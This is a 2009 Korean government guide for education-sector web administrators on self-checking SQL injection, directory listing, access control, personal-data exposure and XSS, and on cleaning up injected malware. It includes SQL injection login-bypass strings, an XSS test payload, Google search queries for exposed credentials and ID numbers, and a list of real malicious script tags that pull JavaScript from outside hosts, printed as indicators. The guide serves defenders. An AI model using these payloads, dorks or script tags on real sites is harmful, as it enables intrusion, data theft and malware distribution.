교육⋅연구기관 웹서버

보안취약점 대응가이드

2009. 03.

교육사이버안전센터

차  례

I. 개요	3

II. 취약점 점검 방법

1. SQL Injection 취약점 점검	3

2. 디렉터리 리스팅 취약점 점검	7

3. 접근통제 취약점	11

4. 개인정보 노출	16

5. 크로스사이트 스크립팅(XSS) 취약점 점검	17

III. 침해사고 점검

1. SQL Injection으로 인한 침해사고 점검	21

IV. 맺음말	28

개요

최근 웹서버 공격을 통한 다수의 악성코드 배포 사고가 확인되고 있습니다. 대부분의 웹서버 해킹 사고는 개발시 보안 점검을 소홀히 한 것에서 비롯됩니다.

이에, 교육사이버안전센터에서는 최근 웹서버 해킹에 많이 이용되는 보안 취약점 중, 웹서버 관리자가 검색사이트를 이용해서 쉽게 취약점을 점검할 수 있는 사항에 대한 대표적인 5가지 점검 사례 및 해결 방법을 작성하여 배포합니다. 점검 방법에 따라, 기관에서 자체 점검을 수행하시기 바라며, 포함되지 않은 보안 취약점에 대한 정보는 교육사이버안전센터에서 운영 중인 “교육사이버안전지원시스템(www.ecsc.go.kr)을 이용하시기 바랍니다.

취약점 점검 방법

SQL Injection 취약점 점검

개요

SQL Injection은 웹서버의 데이터베이스 요청(Query)문을 삽입하여 데이터를 조작, 유출하는 공격 기법입니다. 최근 웹서버를 대상으로 발생하는 침해사고의 대부분은 SQL Injection 취약점으로 인해 발생하고 있습니다. SQL Injection 공격으로, 데이터베이스에 인증절차 없이 불법 접근, 자료 훼손을 할 수 있는 취약점을 의미합니다.

점검범위

웹서버의 기본적인 사용자 인증창 우회 SQL Injection 취약점 점검 방법을 이용하여 취약점 존재 가능성을 점검합니다.

점검 방법

① 관리하고 있는 웹서버의 로그인 페이지로 이동합니다.

② 아이디와 패스워드 란에 아래 문자열을 입력하여 결과를 확인합니다.

아이디 : ’ or 1=1;--

패스워드: ‘ or 1=1;--

[그림 ] SQL Injection 취약점 공격을 이용한 로그인 시도 화면

③ 인증 실패 메시지가 나타날 경우, ‘SQL Injection 취약점’은 존재하지 않는 것으로 추정할 수 있습니다.

[그림 ] SQL Injection 공격이 발생하지 않은 화면

④ 로그인이 될 경우 SQL Injection 취약점이 존재함을 의미합니다.

[그림 ] SQL Injection 취약점을 이용한 불법 로그인 화면

⑤ 웹서버 오류 메시지가 나타날 경우, SQL Injection 가능성이 있으므로 홈페이지 관리 보안가이드를 참고하여 세부적인 점검이 필요합니다.

홈페이지 보안관리 매뉴얼

교육과학기술부 홈페이지 → 정보마당 → 정보자료실 → 정보통신보안 → 3,4번 글 "홈페이지 보안관리 매뉴얼"

[그림 ] SQL Injection 취약점에 노출된 웹서버 화면

[그림 ] SQL Injection 취약점 존재 추정 화면

※ 아래와 같은 문자열을 추가적으로 점검해봅니다.

① ‘or 1=1;- - ② ‘ ’ or 1=1- - ③ "or 1=1 -- ④ or 1=1-- ⑤ 'or 'a'='a ⑥ " or "a"="a ⑦ ')or('a'='a	⑧ sql' or 1=1- - ⑨ sql" or 1=1-- ⑩ + or 1=1- - ⑪ ';- - ⑫ “ ⑬ ‘

조치방법

① ID, PASSWORD, 게시판 본문 및 내용 등의 모든 입력란에 특수문자(등호, 부등호, 인용부호 등)를 직접 입력하지 못하도록 웹서버의 소스코드를 수정(홈페이지 개발 보안 가이드 참조) 후, 다시 위 과정의 취약점을 점검합니다.

홈페이지 개발 보안 가이드

KrCERT/CC 홈페이지 → 좌측하단 배너 "웹보안 4종 가이드" → 홈페이지 개발 보안 가이드

디렉터리 리스팅 취약점 점검

개요

디렉터리 리스팅 취약점이란 인터넷 이용자에게 웹 서버 내 디렉터리 및 파일 목록을 보여주고, 파일의 열람 및 저장도 가능하게 하는 취약점입니다. 서버페이지로 실행되지 않는 형식의 파일들을 임의로 확인 가능하며 백업파일, SQL 요청파일 등에 포함된 비밀 정보의 확인이 가능하여 개인정보 유출 및 해킹에 이용될 수 있습니다.

점검 범위

점검 대상 웹서버에 디렉터리 리스팅 취약점이 존재하는지 여부를 점검하고, 디렉터리 리스팅 취약점 페이지가 검색사이트(www.google.co.kr)에 저장됨을 점검합니다.

점검 방법

구글을 통한 점검

① 구글 사이트에 접속 후, 고급 검색으로 이동합니다.

② 도메인 설정 란에는 해당 사이트 주소를 입력하고, 검색창에는 다음을 입력하여 디렉터리 목록이 저장된 페이지를 찾습니다.

index.of "parent directory"

[그림 ] 구글을 통한 디렉터리 리스팅 검색 화면

③ 검색 결과에서 해당 사이트의 디렉터리 노출을 확인합니다.

[그림 ] 구글을 통한 취약 웹서버 점검 화면

[그림 ] 디렉터리 리스팅을 통한 개인정보 획득 화면

직접 점검 방법

① 해당 웹 사이트의 하위 디렉터리 정보를 사전에 모두 확인합니다.

② 웹 루트의 모든 하위 디렉터리에 대해서 웹 브라우저에 해당 주소를 입력하여 디렉터리 리스팅 취약점을 점검합니다.

※ 참고사항

http://ecsc.ms.kr/ 이란 웹 서버의 웹 루트 밑에 “file”이란 디렉터리가 있다면 웹 브라우저의 URL 주소 입력란에 http://ecsc.ms.kr/file/ 이라고 입력합니다. 이 때 “file” 디렉터리 하위 내용이 모두 화면에 출력된다면 디렉터리 리스팅 취약점이 존재함을 의미하며, 반드시 맨 끝의 ‘/’ 까지 입력합니다. 모든 디렉터리에 대해 디렉터리 리스팅 취약점 존재 여부를 확인합니다.

조치방법

구글 캐시에 노출된 경우

① 개인정보 취약점 페이지가 구글에 노출된 경우에는 먼저 웹서버에도 개인정보 취약점 노출이 있는지 여부를 확인하여 웹서버의 개인정보 취약점을 제거 한 후, 구글 검색 사이트에 해당 캐시에 대해 삭제를 요청하시기 바랍니다.

② 개인정보의 노출 정도가 심각하여 긴급하게 노출을 방지하고자 한다면, 구글의 자동 URL 삭제 시스템을 이용하여, URL이 검색되지 않도록 합니다.

구글 자동 URL 삭제 시스템:

https://www.google.com/webmasters/tools/removals?hl=ko

직접 점검 시 노출의 경우(윈도우)

점검 대상은 윈도우 2000 서버 계열 및 윈도우 2003 서버 계열의 운영체제로써, ‘인터넷 정보서비스(IIS)’를 이용하는 웹서버이며, 아래 작업을 통해 디렉터리 리스팅 취약점을 차단할 수 있습니다.

①〔제어판〕→〔관리도구〕→〔인터넷 서비스 관리자〕의 메뉴에서〔기본 웹 사이트〕의 마우스 오른쪽 클릭, ‘속성’→ ‘기본 웹 사이트 등록 정보’를 선택합니다.

② ‘기본 웹 사이트 등록 정보’에서 ‘홈 디렉터리’ 부분을 선택, ‘디렉터리 검색(B)’의 체크를 해제합니다.

[그림 ] 디렉터리 검색 해제 화면

직접 점검 시 노출의 경우(유닉스, 리눅스)

점검 대상은 유닉스 및 리눅스 운영체제로써, 아파치(apache)를 이용하는 웹서버이며, 아래 작업을 통해 디렉터리 리스팅 취약점을 차단할 수 있습니다.

아파치 웹서버(Apache Web Server)

고성능의 하이퍼텍스트 전송 규약(HTTP) 서버로, 공개용 웹서버 모듈 기능을 추가 또는 변경할 수 있기 때문에 확장성이 높고 신속하게 처리할 수 있어 각 분야에서 널리 사용되고 있음

① 서버에서 아파치서버의 설정파일인 “httpd.conf” 파일을 찾습니다.

httpd.conf 는 아파치 웹서버의 설정 파일로, 아파치서버의 버전별로 위치가 다양함. 일반적으로 아래와 같음

/etc/httpd/conf/httpd.conf

/etc/apache/httpd.conf

/usr/apache/conf/httpd.conf

/usr/local/apache/conf/httpd.conf

/usr/lib/apache/conf/httpd.conf

② httpd.conf의 파일 내용 중 Options 항목 뒤에 Indexes 라는 단어를 지우고 파일을 저장합니다.

③ 설정한 정보를 적용하기 위해 웹 서비스의 데몬(daemon)을 재시작합니다.

데몬(daemon) : 주기적인 서비스 요청을 처리하기 위해 계속 실행되는 프로그램을 의미

[그림 ] httpd.conf 설정 화면

접근통제 취약점

개요

권한이 없는 이용자가 특정 경로를 통해 관리자 페이지나 DB에 접근할 수 있게 하는 취약점을 의미합니다. 관리자 로그인 페이지의 경우, 접근권한을 설정하지 않을 시, 무차별대입공격(Brute Force Attack), 사전대입공격(Dictionary Attack) 등의 공격에 의해 공격의 피해를 입을 수 있습니다.

무차별대입공격(Brute Force Attack) : ID, 비밀번호를 무작위 대입하여 사용자의 암호 등을 알아내는 공격

사전대입공격(Dictionary Attack) : 비밀번호 사전을 이용하여 사용자의 암호 등을 알아내는 공격

점검 범위

접근 통제의 기본이 되는 ID/Password 정보의 노출 및 관리자 웹서버의 노출 여부를 점검합니다.

점검 방법

구글을 통한 점검 방법

① 구글 사이트에 접속 후, 고급 검색으로 이동합니다.

② 도메인 설정에는 해당 웹서버 주소를 입력하고 검색어 입력란에는 다음의 검색어를 각각 입력하여 ID/PW 노출 및 관리자 웹서버(관리자 로그인 페이지 등) 노출 페이지를 찾습니다.

login|logon

password|passcode|비밀번호|“your password is"|"당신의 비밀번호는”

admin|administrator

※ 검색어는 공백(빈칸)이 포함되지 않아야합니다. 공백을 포함하기 위해서는 인용부호(“)를 이용합니다. 예) ”your password is"

[그림 ] 접근통제 검색 화면

[그림 ] 홈페이지 인증 우회 화면

직접 점검하는 방법

① 일반적으로 많이 사용하는 관리자 페이지 명을 입력하여 관리자 페이지가 존재하는지 점검합니다.

http://admin.test.es.kr

http://www.ecsc.es.kr/admin/

http://www.ecsc.es.kr/manager/

http://www.ecsc.es.kr/master/

http://www.ecsc.es.kr/system/

② 이용자 인증을 통과하여 페이지에 접속한 후, 인증과정 없이 중간 페이지에 접속하여 접속이 가능한지 점검합니다.

[그림 ] 정상적인 접근통제 화면

[그림 ] 인증 우회 접근 화면

조치 방법

구글 캐시에 노출된 경우

① 취약점 페이지가 구글에 노출된 경우에는 먼저 웹서버에도 취약점 노출이 있는지 여부를 확인하여 웹서버의 취약점을 제거 한 후, 구글 검색 사이트에 해당 캐시에 대해 삭제를 요청을 수행합니다.

② 인터넷검색엔진배제표준을 이용하여 개인정보가 포함된 주소를 지정하는 robots.txt 파일을 만들어 서버 루트 디렉터리에 저장하거나 해당 페이지의 HTML 안에 메타태그를 입력합니다.

인터넷 검색엔진 배제표준(Robots Exclusion Protocol)

보안이 필요한 내용이 검색엔진에 유출 되지못하도록, 웹페이지를 작성하는 방법을 기술한 국제기술표준. 표준화된 robots.txt를 이용하여 대부분의 인터넷 검색엔진의 검색을 배제할 수 있음.

robots.txt 작성 및 생성 : 붙임. “인터넷 검색엔진 배제표준” 참고

직접 검색을 통해 노출된 경우

① 관리자 페이지에 임의의 사용자가 접근할 수 없도록 관리자 페이지에 접근할 수 있는 권한을 가진 단말기만 접근 가능하도록 접근권한을 설정합니다.

※ 웹서버가 윈도우즈 서버의 인터넷 서비스 관리자(IIS)일 경우,
[설정]→[제어판]→[관리도구]→[인터넷 서비스 관리자]실행→[인터넷정보 서비스]에서 관리자(admin)디렉터리를 선택 후, 마우스 오른쪽 클릭→[등록정보]→[디렉터리보안]→[IP주소 및 도메인 이름제한]→[편집]을 통해 관리자 IP만 등록→[확인] 을 통해 접근을 제어합니다.

※ 웹서버가 유닉스 및 리눅스의 아파치(Apache)웹서버일 경우,
httpd.conf 파일에서 "Directory"내의 AllowOverride 를 찾아 AuthConfig 또는 All을 추가합니다.

예) /usr/local/www/admin 폴더를 192.168.10.10만 허용하고 모두 차단할 경우,

<Directory "/usr/local/www/admin/">

Order allow,deny

Deny from all

allow from 192.168.10.10

</Directory>

② 웹 관리자 메뉴의 접근을 특정 네트워크 대역으로 제한하여, IP 주소까지도 인증 요소로 체크하도록 웹 관리자 사용자 인터페이스를 개발하고, 관리자 인증 후 접속할 수 있는 페이지의 경우 해당 페이지 주소를 직접 입력하여 접속하지 못하도록 관리자 페이지 각각에 대하여 관리자 인증을 위한 세션관리를 수행합니다.

개인정보 노출

개요

개인정보란, “생존하는 개인을 식별할 수 있는 일체의 정보”를 의미합니다. 개인 정보의 웹서버 게시 및 첨부 파일(XLS, DOC, HWP, ZIP 등)에 기재하여 게시하는 문제로 개인정보 유출 사고가 발생하고 있으며, 검색 엔진만으로도 쉽게 개인 정보를 획득할 수 있어 각별한 주의가 필요합니다.

점검 범위

구글 검색을 통해 웹서버 내의 개인정보 노출을 점검합니다.

점검 방법

① 구글 사이트(www.google.co.kr)에 접속 후, 고급 검색으로 이동합니다.

② 도메인 설정에는 해당 웹서버 주소를 입력하고 검색어 입력란에는 다음을 입력하여 개인정보 노출 여부를 검사합니다.

주민등록번호|주민번호|주민등록등본|계좌번호

※ 검색어는 공백(빈칸)이 포함되지 않아야합니다.

[그림 ] 개인정보 검색 화면

조치 방법

① 개인정보가 포함된 파일 및 웹서버 게시물을 삭제합니다.

② 구글 검색 사이트에 해당 캐시에 대해 삭제를 요청하는 이메일을 발송합니다.

③ 검색엔진 배제표준을 이용하여 개인정보가 포함된 주소를 지정하는 robots.txt 파일을 만들어 웹서버의 루트 디렉터리에 저장합니다.

크로스사이트 스크립팅(XSS) 취약점 점검

개요

크로스사이트 스크립팅(Cross Site Script. 이하 XSS) 취약점은 게시판에서 글쓰기를 하는 경우, 입력 내용 중 실행코드인 스크립트의 태그를 필터링을 하지 않아, 악의적인 스크립트 등록을 통해 일반 이용자 PC로부터 개인정보인 쿠키 등을 유출 또는 악성코드의 설치를 유도하는 취약점입니다.

점검 범위

점검 대상이 되는 웹서버 게시판에 글쓰기 기능이 존재하는지 여부를 점검하고, 간단한 스크립트 문장을 입력하여 취약점이 존재하는지 점검합니다.

점검 방법

① 게시판, 의견쓰기, 메일쓰기 등에 대해 일반 사용자들이 글을 게시할 수 있는 기능이 있는지 점검합니다.

② 글쓰기 기능이 있는 게시판에 대해 본문에 다음과 같은 스크립트 문장을 입력하고 게시를 시도합니다.

<script>alert('XSS 취약점 존재‘);</script>

[그림 ] XSS 취약점 점검 화면

③ 글을 게시하는 중에 스크립트 태그 사용에 대한 ‘에러’나 ‘경고’ 메시지가 뜨면서 등록이 안된다면 ‘XSS 취약점’이 존재하지 않는 것입니다.

[그림 ] XSS 취약점이 차단된 화면

④ 윈도우 경고창이 전혀 뜨지 않고 글 본문에 스크립트 문장이 입력한 대로 나오면 XSS 취약점이 존재하지 않는 것입니다.

[그림 ] XSS 취약점이 존재하지 않는 화면

⑤ 윈도우 경고창을 통해 'XSS 취약점 존재‘ 나 “XSS&nbsp;취약점&nbsp;존재”와 같은 형태의 팝업 경고창이 나타나면 ‘XSS 취약점’이 존재하는 것입니다.

[그림 ] XSS 취약점이 존재하는 화면

조치 방법

① XSS 취약점은 웹 서버 설정만으로는 조치할 수 없습니다. 글쓰기가 가능한 게시판 페이지에서 이용자가 스크립트를 입력할 수 없도록 다음과 같이 웹페이지 소스를 수정 조치를 해야 합니다.

① 스크립트 문장에 존재할 수 있는 아래와 같은 특수 문자를 다른 문자로 변환하도록 소스를 수정하거나 글 게재 시점에서 스크립트가 있는 경우에는 게재를 차단합니다.

[특수 문자 치환 예]

<	→	&lt

>	→	&gt

(	→	&#40

)	→	&#41

#	→	&#35

&	→	&#38

② 웹서버 소스코드 수정이 된 후에 다시 한번 XSS 취약점이 있는지 점검합니다.

침해사고 점검

개요

웹 서버의 침해사고는 매우 다양한 경로를 통해 발생하며, 점차 고도화된 방법을 이용하기 때문에 침해사고를 쉽게 탐지 및 인지하기 어렵습니다. 보안 취약점을 통한 일부 침해사고는 검색사이트(www.google.co.kr)만으로도 침해 여부를 판단할 수 있습니다. III장에서는 최근 대량발생하고 있는 SQL Injection로 인한 침해사고를 검색사이트로 점검하는 방법에 대해 알아보겠습니다.

SQL Injection으로 인한 침해사고 점검

개요

대부분의 웹서버는 사용자로부터 입력 받은 값을 이용하여 데이터베이스에 접속 하기위한 SQL 질의문을 사용합니다. 이러한 질의과정에서 보안 취약점(문자기호 입력 허용 등)이 존재할 경우, 비정상적인 SQL 질의문을 이용하여 사용자 인증 우회, 데이터베이스 정보 불법열람, 데이터베이스 시스템 명령어를 이용한 시스템 조작이 가능하게 됩니다.

SQL Injection 공격을 이용하여, 웹서버 내에 악성코드를 삽입하여 방문자로 하여금 악성코드를 설치하도록 유도, 개인정보를 유출 시키는 문제가 발생하고 있습니다. 이에, 본 문서를 참고하여 기관에서 운영하고 있는 웹서버에 악성 스크립트의 삽입여부를 점검하시기 바랍니다.

점검범위

기관에서 운영하고 있는 웹서버의 악성코드 피해를 점검합니다.

점검 방법

※ 주의사항!!

악성코드 삽입 페이지 조사 및 침해사이트 접속 시, 필히 최신 엔진으로 바이러스 백신을 업데이트하고, 바이러스 백신의 실시간 감시기가 켜있는 상태로 웹서버를 점검하시기 바랍니다. 웹사이트에 삽입된 악성코드로 인해 점검하는 PC에 악성코드가 설치될 수 있습니다.

① 구글 사이트(www.google.co.kr)에 접속 후, 고급 검색으로 이동합니다.

② 도메인 설정에는 해당 웹서버 주소를 입력하고 검색어 입력란에는 다음을 입력하여 “Google 검색”을 선택합니다.

s.js

※ 참고사항

“s.js” 는 악성 스크립트로, 홈페이지를 접속하는 사용자의 PC에 제3의 웹서버에 존재하는 바이러스, 스파이웨어 등의 악성코드를 설치하도록 유도하는 기능이 있습니다.

[그림 ] 구글을 통한 악성코드 검색 화면

③ 만일, 검색된 내용에 아래와 같은 스크립트가 포함되어 있을 경우, 해당 웹서버는 SQL Injection 취약점에 의해 악성코드가 삽입됨을 의미합니다.

[악성코드의 종류별 예]

<script src=http://s.cawjb.com/s.js></script>

<script src=http://s.ardoshanghai.com/s.js></script>

<script src=http://yl18.net/0.js></script>

<script src=http://mysy8.com/1/1.js></script>

<script src=http://mekiller.com/1/1.js></script>

<script src=http://www.maigol.cn/ri.js></script>

<script src=http://nihaorr1.com/1.js></script>

<script src=http://al.99.vc/1.js></script>

<script src=http://11910.net/1.js></script>

<script src=http://nmidahena.com/1.js></script>

<script src=http://www.ko113.cn/a.js></script>

<script src=http://9i5t.cn/a.js></script>

<script src=http://hk.www404.cn:53/ads.js></script>

<script src=http://www.414151.com/fjp.js></script>

<script src=http://www.117275.cn/g.js></script>

<script src=http://www.wowgm1/ip.js></script>

<script src=http://s1.cawjb.com/jp.js></script>

<script src=http://www.ririwow.cn/jp.js></script>

<script src=http://s1.cawjb.com/kr.js></script>

<script src=http://www.dota11.cn/m.js></script>

<script src=http://www.nihao112.com/m.js></script>

<script src=http://www.wowyeye.cn/m.js></script>

<script src=http://wefd4.cn></script>

<script src=http://pcca4.cn></script>

<script src=http://s.lbs66.cn/kr.js></script>

<script src=http://http://www.pkseio.ru/script.js></script>

<script src=http://http://www.pyttco.com/ngg.js></script>

<script src=http://http://s.lbs66.cn/kr.js></script>

<script src=http://www.locm.ru/js.js></script>

<script src=http://www.53refer.ru/script.js></script>

<script src=http://http://www.kr92.ru/ngg.js></script>

<script src=http://http://www.ujnc.ru/js.js></script>

<script src=http://http://www.bjxt.ru/ngg.js></script>

<script src=http://http://www.90mc.ru/ngg.js></script>

<script src=http://http://www.get49.net/b.js></script>

<script src=http://http://www.sslput4.com/b.js></script>

<script src=http://http://www.alzhead.com/b.js></script>

<script src=http://http://www.banner82.org/b.js></script>

<script src=http://http://www.clickbnr.com/b.js></script>

<script src=http://http://www.advabnr.com/b.js></script>

[그림 ] 웹서버내 악성코드 삽입된 화면

[그림 ] 웹서버 내 악성코드 존재 경고 화면

위 그림과 같이 악성코드 동작으로 인해, 검색 사이트를 통한 웹페이지의 직접 방문이 차단될 수 있습니다. 본문에 표기된 주소를 이용하여 직접 방문이 가능하며, 해당 주소 내에 존재하는 악성코드로 인한 피해가 예상되오니 각별히 주의하여 점검하시기 바랍니다.

※ 참고사항

게시판 내에 악성 스크립트가 보이지 않을 경우, 크로스사이트 스크립팅 공격으로 인해 삽입된 악성 스크립트가 실행됨을 의미하며, 브라우저 메뉴의 [보기]→[소스]를 통해 해당 스크립트를 찾을 수 있습니다.

※ 아래 문자열을 각각 추가적으로 검색하여 웹서버를 점검합니다.

1.js 2.js 3.js 4.js	a.js ads.js b.js fuckjp.js	fjp.js g.js ip.js jp.js	js.js kr.js m.js

복구 방법

악성코드를 제거하는 과정에서 악성코드뿐만 아니라, 정상적인 자료도 삭제될 수 있으므로, 데이터베이스 담당자와 충분히 협의 후 작업합니다.

데이터베이스 백업본을 통한 복구

① 악성코드가 삽입되기 이전의 백업본이 있을 경우 해당 백업 파일을 통해 복구합니다. 단, 백업본을 통해 복원 할 경우, 백업된 시점 이후의 데이터의 유실이 불가피 하므로 신중히 작업합니다.

컬럼 단위 복구

① 삽입된 대부분의 악성코드는 동일한 스크립트명을 이용합니다. 그러므로 SQL 명령어인 "UPDATE" 명령을 이용하여 특정 문자열을 치환하는 복구 작업이 가능합니다. 단, 작업으로 다른 유사정보가 변경될 수 있으므로, 정보가 유실되지 않도록 데이터베이스 담당자와 충분히 협의 후 작업합니다.

UPDATE [테이블명] set [컬럼명]=replace([컬럼명], ‘[삭제하려는 악성코드 문자열]’,‘’)

[수정 예]

UPDATE freebbs set title=replace(title, '<script src=http://s.cawjb.com/s.js></script>', '')

만약 저장된 자료가 ntext, nvarchar와 같이 유니코드를 지원하는 등의 별도 인코딩 방식으로 저장되어 있을 경우, 자료 형 변환을 통해 삽입된 악성코드를 좀 더 수월하게 찾아내고 제거할 수 있습니다. (단, 자료 형 변환에서 사용하는 임시변수의 크기를 충분히 지정해야 추가적인 자료 유실을 예방할 수 있습니다)

UPDATE [테이블명] set [컬럼명]=replace(cast([컬럼명] as varchar(8000)), '[삭제하려는 악성코드 문자열]‘, ’‘)

[수정 예]

UPDATE freebbs set contents=replace(cast(contents as varchar(8000)), '<script src=http://s.cawjb.com/s.js></script>', '')

예방 방법

안전한 웹서버 개발 및 관리

① SQL Injection 취약점은 입력값 검증 절차 문제로 인해 발생하므로, 웹서버 개발 단계에서부터 모든 입력 값에 대해 적절한 검증 절차를 설계하고 구현해야합니다. 입력 받는 입력 값의 크기를 검사하고, 특수문자(따옴표, 등호, 부등호 등)가 있을 경우 위험하지 않은 문자로 치환한 후, 입력값이 허용 범위 내에 존재하는지 검사해야합니다.

③ 또한, SQL 서버의 에러 메시지를 사용자에게 보여주지 않도록 설정해야 하며, 웹 어플리케이션이 사용하는 데이터베이스 사용자의 권한을 제한합니다.

robots.txt 을 이용한 검색사이트 검색 차단

일부 악성코드 전파 및 해킹을 시도할 때는 검색사이트(www.google.com)를 이용하여 공격 대상을 조사합니다. 이러한 검색엔진에 보안 취약점이 노출되지 않도록 ‘인터넷 검색엔진 배제표준’을 적용하여 운영합니다.(붙임. 1.인터넷 검색엔진 배제표준 참조)

인터넷 검색엔진 배제표준(Robots Exclusion Protocol) :

보안이 필요한 내용이 검색엔진에 유출 되지못하도록 웹페이지를 작성하는 방법을 기술한 국제기술표준.

검색사이트(www.google.co.kr) 캐시 제거

① 악성코드 스크립트의 제거 작업이 완료 및 robots.txt의 생성이 완료되면 웹페이지를 검색사이트의 캐시에서 삭제 처리해달라고 요청합니다. 정상적인 프로세스를 거칠 경우 삭제 처리는 요청 후 일주일 정도 소요됩니다.

② 구글 자동삭제 시스템 이용을 위해서 구글 웹서버에 가입 한 후, 로그인 상태에서 다음과 같은 구글 자동삭제 시스템에 방문하여 해당 페이지의 삭제를 요청합니다.

구글 자동 URL 삭제 시스템:

https://www.google.com/webmasters/tools/removals?hl=ko

맺음말

본 문서에서는 각기관의 웹서버 담당자가 최근 발생하는 보안 사고와 관련하여 담당 기관의 웹서버를 점검 할 수 있는 방법을 소개하였습니다. 웹서버의 개편 및 신규개발 시, “홈페이지 보안개발 및 관리 매뉴얼”을 참고하여 정기적으로 취약점을 점검하시기 바랍니다.

홈페이지 보안 개발 및 관리 매뉴얼

- 국가사이버안전센터 “홈페이지 보안관리 매뉴얼”

교육과학기술부 홈페이지 → 정보마당 → 정보자료실 → 정보통신보안 → 3,4번 글 "홈페이지 보안관리 매뉴얼"

- 정보보호진흥원 “홈페이지 개발 보안 가이드”

KrCERT/CC 홈페이지 → 좌측하단 배너 "웹보안 4종 가이드" → 홈페이지 개발 보안 가이드

본 문서에 포함되지 않은 보안 취약점과 관련하여, 교육사이버안전센터에서 운영중인 “교육사이버안전지원시스템(www.ecsc.go.kr)”을 통해 지속적으로 정보를 공유하고 있습니다. “교육사이버안전지원시스템”에 방문하여, 더 많은 정보를 이용하시기 바랍니다.

[붙임]

1. 인터넷 검색엔진 배제표준(Robots Exclusion Protocol)

최근 웹 검색엔진의 성능이 향상되면서 웹페이지의 내용은 물론 웹사이트에 올려놓은 문서파일(pdf, doc, hwp 등)의 내용까지 검색이 가능합니다. 이런 정보유출 방지를 위해 '인터넷 검색엔진 배제표준'을 적용⋅운영하여 정보 유출을 방지 효과를 얻을 수 있습니다.

인터넷 검색엔진 배제표준(Robots Exclusion Protocol)

보안이 필요한 내용이 검색엔진에 유출 되지 못하도록 웹페이지를 작성하는 방법을 기술한 국제기술표준

※ 주의사항

대부분의 검색 엔진은 국제 표준을 준수 하지만, 해커 및 악성코드는 국제 표준을 준수 하지 않기 때문에 robots.txt 및 Meta tag 이용으로 모든 정보 유출을 막지 못하므로, 유출되지 말아야하는 자료 및 문서는 웹서버에 게시하지 않아야합니다.

robots.txt 작성 방법

robots.txt를 이용한 검색엔진을 차단하기 위해서는 다음과 같은 규칙을 준수해야합니다.

robots.txt 작성 규칙

① robots.txt를 웹 서버의 웹서버 최상위 디렉터리에 저장합니다.

[robots.txt 위치 예]

사이트 URI http://www.w3.org/ http://www.w3.org:80/ http://w3.org/	robots.txt의 URI http://www.w3.org/robots.txt http://www.w3.org:80/robots.txt http://w3.org/robots.txt

② 웹사이트에는 하나의 "/robots.txt" 만을 가질 수 있으며, 여러 사용자가 자신의 "robots.txt"를 각각 만들기를 원하면, 단일 "/robots.txt" 안에 모두 통합(merge)하여 운영해야합니다.

③ "robots.txt"라는 파일명은 모두 소문자이어야 하며, 공백은 허용되지 않습니다.

④ "robots.txt"의 내용에는 두 개의 항목으로 구성되어 있습니다.

- User-agent: 검색 엔진을 지정하는 항목으로, “*” 문자를 사용하면 모든 검색엔진을 의미합니다. 또한, 특정 검색 엔진을 의미하고자할 경우 검색엔진의 이름을 기재합니다.

- Disallow: 차단할 디렉토리 지정하는 항목으로, 지정하지 않을 경우 모두 허용으로 인식합니다.

※ “#” 문자는 ‘주석’을 의미합니다.

robots.txt을 이용한 전체 차단

모든 검색기(로봇)에 대한 모든 디렉터리 검색 거부를 원할 경우, 아래의 예와 같이 작성합니다.

[robots.txt 를 통한 웹서버 전체 차단 예]

User-agent:*

Disallow:/

※ User-agent:* : 모든 검색기를 의미

※ Disallow:/ : 최상위 폴더("/") 위치 이하 모두 차단을 의미

robots.txt을 이용한 일부 페이지 차단

모든 로봇에 대한 웹서버의 일부 정보만 검색을 거부할 때는 아래의 예와 같이 거부를 원하는 위치만 기재합니다.

[robots.txt 를 통한 웹서버 일부 차단 예]

User-agent:*

Disallow:/secure/

Disallow:/policy/

※ /secure 디렉터리, /policy 디렉터리만 검색거부

robots.txt을 이용한 지정된 검색기만 차단

지정된 로봇에 대한 웹서버의 정보를 거부할 때는 아래의 예와 같이 작성합니다.

[robots.txt 를 통한 지정된 검색기만 차단 예]

User-agent:Googlebot

Disallow:/

User-agent:*

Disallow:

※ 구글 검색기만 모두 차단, 다른 검색기는 모두 허용

Meta Tag 작성방법

Meta Tag를 이용하여 robots.txt 와 마찬가지로 검색엔진이 정보를 수집하지 못하도록 차단할 수 있습니다. robots.txt의 경우, 웹사이트 전체 또는 특정 폴더를 차단하는 방식이지만, Meta Tag는 웹페이지(HTML) 명령을 이용하여 웹페이지 내의 정보만을 차단합니다.

① 검색을 차단할 웹페이지의 <head> </head> 태그 사이에 Meta Tag를 입력합니다.

[Meta Tag 사용 예]

<meta NAME="ROBOTS" CONTENT="NOINDEX,NOFOLLOW">

② “CONTENT” 에는 입력할 수 있는 필터(filter)는 “ALL", "NONE", "INDEX", "NOINDEX", "FOLLOW", "NOFOLLOW" 중, 알맞게 선택하여 입력합니다. (필터는 “,”로 분류하며 중복 이용 가능)

- “ALL” 필터는 모두 허용(EMPTY)을 나타내며,

- “NONE" 필터는 ”NOINDEX,NOFOLLOW"를 의미합니다.

- “INDEX”와 “NOINDEX” 필터는 페이지를 검색 서비스에 포함할지 여부를 결정하며,

- “FOLLOW”와 “NOFOWLLOW” 필터는 페이지에 걸린 링크의 추적 여부를 결정하는데 이용합니다.

[Meta Tag 적용 예]

<html>

<head>

<title> 교육사이버안전지원시스템 </title>

<meta NAME="ROBOTS" CONTENT="NOINDEX,NOFOLLOW">

</head>

<body>

교육사이버안전지원시스템 테스트 페이지입니다.

</body>

</html>

※ 인터넷 검색엔진 배제표준과 관련한 자세한 정보는 www.robotstxt.org을 참조하시기 바랍니다.